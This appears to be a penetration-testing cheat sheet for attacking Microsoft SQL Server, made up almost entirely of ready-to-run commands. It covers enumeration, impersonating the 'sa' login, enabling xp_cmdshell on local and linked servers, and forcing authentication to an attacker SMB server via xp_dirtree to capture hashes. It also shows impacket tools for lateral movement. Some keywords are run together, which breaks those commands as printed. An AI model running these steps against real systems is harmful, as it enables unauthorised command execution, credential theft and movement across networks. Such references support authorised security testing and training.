Enumerate and exploit Microsoft SQL Server instances to gain command execution, read files, steal hashes, and pivot to other systems. MSSQL often runs with high privileges and can be leveraged for privilege escalation and lateral movement in Active Directory environments.
-- Show all databases SELECT name FROM sys.databases; GO
-- Show current database SELECT DB_NAME(); GO
Select Database
USE database_name; GO
List Tables
-- List tables in current database SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type ='BASE TABLE'; GO
-- List tables in specific database SELECT table_name FROM database_name.INFORMATION_SCHEMA.TABLES; GO
List Columns
-- Get columns for specific table SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name ='users'; GO
Query Data
-- Select all from table SELECT*FROM users; GO
-- Select specific columns SELECT username,password FROM users; GO
User Enumeration
Current User
SELECTSYSTEM_USER; GO
SELECT USER_NAME(); GO
List Users
-- List all logins SELECT name,sysadmin FROM syslogins; GO
-- Check if current user is sysadmin SELECT IS_SRVROLEMEMBER('sysadmin'); GO
User Impersonation
Check Impersonation Privileges
-- Find users we can impersonate SELECTdistinct b.name FROM sys.server_permissions a INNERJOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name ='IMPERSONATE'; GO
Impersonate User
-- Impersonate user EXECUTEAS LOGIN ='sa'; SELECTSYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin'); GO
# Start SMB server (attacker) sudo impacket-smbserver share $(pwd) -smb2support
# Or use Responder sudo responder -I tun0
-- Force authentication to attacker SMB server EXEC master..xp_dirtree '\\10.10.14.5\share\'; GO
-- Alternative method EXEC master..xp_subdirs '\\10.10.14.5\share\'; GO
Linked Servers
Enumerate Linked Servers
-- List linked servers SELECT srvname, isremote FROM sysservers; GO
-- Check linked server configuration EXEC sp_linkedservers; GO
Query Linked Server
-- Execute query on linked server EXECUTE('SELECT @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LINKED-SERVER\SQLEXPRESS]; GO
-- Check current user on linked server EXECUTE('SELECT SYSTEM_USER') AT [LINKED-SERVER\SQLEXPRESS]; GO
Enable xp_cmdshell on Linked Server
-- Enable xp_cmdshell on linked server EXECUTE('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED-SERVER\SQLEXPRESS]; EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED-SERVER\SQLEXPRESS]; GO
-- Execute command on linked server EXECUTE('EXEC xp_cmdshell ''whoami''') AT [LINKED-SERVER\SQLEXPRESS]; GO
Double Hop (Nested Linked Servers)
-- Execute on doubly-linked server EXECUTE('EXECUTE(''SELECT @@servername'') AT [SECOND-SERVER\SQLEXPRESS]') AT [FIRST-SERVER\SQLEXPRESS]; GO
Privilege Escalation
Check Privileges
-- Check server roles SELECT IS_SRVROLEMEMBER('sysadmin'); SELECT IS_SRVROLEMEMBER('db_owner'); GO
-- List all server role members SELECT name FROM sys.server_principals WHERE type ='S'; GO
Impersonate SA Account
-- Attempt to impersonate sa EXECUTEAS LOGIN ='sa'; EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; GO
Lateral Movement
Execute Commands on Remote MSSQL
# Using impacket impacket-mssqlclient domain/user:password@10.10.10.10 -windows-auth
# Enable xp_cmdshell and execute SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami